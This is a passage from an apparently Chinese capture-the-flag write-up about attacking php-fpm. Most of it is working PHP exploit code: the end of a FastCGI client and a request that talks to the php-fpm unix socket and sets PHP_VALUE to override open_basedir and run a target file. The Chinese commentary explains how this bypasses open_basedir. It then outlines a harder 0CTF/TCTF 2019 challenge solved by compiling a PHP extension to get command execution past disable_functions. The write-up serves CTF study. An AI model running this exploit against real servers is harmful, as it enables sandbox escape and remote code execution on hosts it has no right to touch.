            throw new Exception('Invalid request id given');

        }

        if ($this->_requests[$requestId]['state'] == self::REQ_STATE_OK || $this->_requests[$requestId]['state'] == self::REQ_STATE_ERR) {

            return $this->_requests[$requestId]['response'];

        }

        if ($timeoutMs > 0) {

            // Reset timeout on socket for now

            $this->set_ms_timeout($timeoutMs);

        } else {

            $timeoutMs = $this->_readWriteTimeout;

        }

        $startTime = microtime(true);

        do {

            $resp = $this->readPacket();

            if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {

                if ($resp['type'] == self::STDERR) {

                    $this->_requests[$resp['requestId']]['state'] = self::REQ_STATE_ERR;

                }

                $this->_requests[$resp['requestId']]['response'].= $resp['content'];

            }

            if ($resp['type'] == self::END_REQUEST) {

                $this->_requests[$resp['requestId']]['state'] = self::REQ_STATE_OK;

                if ($resp['requestId'] == $requestId) {

                    break;

                }

            }

            if (microtime(true) - $startTime >= ($timeoutMs * 1000)) {

                // Reset

                $this->set_ms_timeout($this->_readWriteTimeout);

                throw new Exception('Timed out');

            }

        } while ($resp);

        if (!is_array($resp)) {

            $info = stream_get_meta_data($this->_sock);

            // We must reset timeout but it must be AFTER we get info

            $this->set_ms_timeout($this->_readWriteTimeout);

            if ($info['timed_out']) {

                throw new TimedOutException('Read timed out');

            }

            if ($info['unread_bytes'] == 0 && $info['blocked'] && $info['eof']) {

                throw new ForbiddenException('Not in white list. Check listen.allowed_clients.');

            }

            throw new Exception('Read failed');

        }

        // Reset timeout

        $this->set_ms_timeout($this->_readWriteTimeout);

        switch (ord($resp['content'] {

                4

        })) {

            case self::CANT_MPX_CONN:

                throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');

            break;

            case self::OVERLOADED:

                throw new Exception('New request rejected; too busy [OVERLOADED]');

            break;

            case self::UNKNOWN_ROLE:

                throw new Exception('Role value not known [UNKNOWN_ROLE]');

            break;

            case self::REQUEST_COMPLETE:

                return $this->_requests[$requestId]['response'];

        }

    }

}

$client = new Client('unix:///var/run/php/php7.2-fpm.sock', -1);

$php_value = "open_basedir = /";

$filepath = '/tmp/06a2b932e87aa986fbd92a0582b9e655/flag.php';

$content = 'rai4over';

echo $client->request(array(

  'GATEWAY_INTERFACE' => 'FastCGI/1.0',

  'REQUEST_METHOD' => 'POST',

  'SCRIPT_FILENAME' => $filepath,

  'SERVER_SOFTWARE' => 'php/fcgiclient',

  'REMOTE_ADDR' => '127.0.0.1',

  'REMOTE_PORT' => '9985',

  'SERVER_ADDR' => '127.0.0.1',

  'SERVER_PORT' => '80',

  'SERVER_NAME' => 'mag-tured',

  'SERVER_PROTOCOL' => 'HTTP/1.1',

  'CONTENT_TYPE' => 'application/x-www-form-urlencoded',

  'CONTENT_LENGTH' => strlen($content),

  'PHP_VALUE' => $php_value,

), $content);

两个exp都是用php实现了一个Fast CGI Client,然后去连接 php-fpm 的 sock,绕过 open_basedir 执行代码

具体过程是先传上 exp.php(上面的exp),然后 include 它,就能绕过 open_basedir 的限制

但是这种方法只是绕过 open_basedir 的限制,需要其他人先做出题目,运行readflag把flag输出到一个文件里,才能拿到flag,还是不能绕过 disable_functions 执行命令

优雅的利用方法在下面

0CTF/TCTF2019_final wallbreaker_not_very_hard

这题是上题的难度提升版,上题的多种exp都行不通了

过滤了一堆函数:

限制目录

首先绕过 open_basedir

或者在 /var/run/php/ 下发现 /var/run/php/U_wi11_nev3r_kn0w.sock,就是 PHP-FPM

用的 socket

然后同上文disable_functions 来RCE的方法

编译一份PHP扩展,通过扩展加载命令函数,与 socket 通信完成RCE

wp:

0x05 Referer

php-fpm rce攻击_第6张图片

你可能感兴趣的:(php-fpm rce攻击)